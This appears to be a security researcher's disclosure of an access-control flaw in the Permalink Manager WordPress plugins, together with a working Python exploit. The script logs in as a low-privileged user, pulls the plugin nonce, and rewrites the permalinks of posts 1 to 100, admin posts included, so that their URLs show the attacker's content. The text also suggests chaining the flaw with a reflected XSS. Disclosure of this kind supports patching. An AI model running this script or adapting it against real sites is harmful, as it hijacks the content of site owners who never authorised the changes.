Author: Muhammad Zeeshan (Xib3rR4dAr)
Date: March 10, 2024
Plugin Active Installs: 80,000+
Vulnerable Plugins: permalink-manager, permalink-manager-pro
Permalink Manager is a highly rated WordPress permalink editor that allows users to customize post, page, and custom post type URLs.
Permalink manager allows low privileged users with URI Editor permisions to edit their own URIs for post, page etc.
It was found that feature can be exploited to edit URI for their own posts,pages as well as of other's like Admin users.
By default, low privileged users like Author have this permission while Admin can change it to Contributor user also.
Also, an Author user can create a post, note its permalink and replace all permalinks of other user posts,pages with permalink of his own post to takeover to display content of his own post when any post,page is visited.
Unauthorized users can edit permalink of any post/page, including permalink of privately published posts by admin.
Usage:
python3 unuathorizedPermalinkModifier.py WORDPRESS_URL USERNAME PASSWORD PERMALINK_TO_SET_FOR_POST
e.g
python3 unuathorizedPermalinkModifier.py http://127.0.0.1 author author "2024/03/10/xib3rr4dar"
PERMALINK_TO_SET_FOR_POST can be set to permalink of author's post permalink also, to modify all posts,pages to display content of author's post.
import sys
import requests
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
wordpress_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
custom_uri = sys.argv[4]
proxyDict = {}
# Uncomment to use proxy
# proxyDict = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
session = requests.Session()
# Login to WordPress
login_url = f"{wordpress_url}/wp-login.php"
login_payload = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
}
login_response = session.post(
login_url, data=login_payload, proxies=proxyDict, verify=False
)
if "wp-admin" in login_response.url:
print("Login successful")
else:
print("Login failed")
exit()
# Extract permalink-manager-nonce
post_url = f"{wordpress_url}/wp-admin/post-new.php"
post_resp = session.get(post_url, proxies=proxyDict, verify=False)
post_resp_text = post_resp.text
soup = BeautifulSoup(post_resp_text, "html.parser")
permalinkManagerNonce = soup.find("input", {"id": "permalink-manager-nonce"}).get(
"value"
)
# Modify Permalink of posts from 1-100
admin_ajax_url = f"{wordpress_url}/wp-admin/admin-ajax.php"
malicious_payload = {
"custom_uri": custom_uri,
"auto_update_uri": 0,
"permalink-manager-edit-uri-element-id": "1",
"permalink-manager-nonce": permalinkManagerNonce,
"action": "pm_save_permalink",
}
for i in range(1, 101):
print(f"Changing permalink for Post #{i}")
malicious_payload["permalink-manager-edit-uri-element-id"] = i
ajax_response = session.post(
admin_ajax_url, data=malicious_payload, proxies=proxyDict, verify=False
)
Code Flow:
Exploit:
All Permalinks of admin updated to custom permalink
Admin's Post permalink hijacked to display custom content
Before modifying permalink, verify if low privileged users like Author or Contributor are modifying permalink for their own post.
Since Reflected XSS is also present in same version, Unauthorized modification of Permalinks can be chained with XSS for greater impact.
https://gist.github.com/Xib3rR4dAr/561ac3c17b92cb55d3032504a076fa4b#exploitation-scenario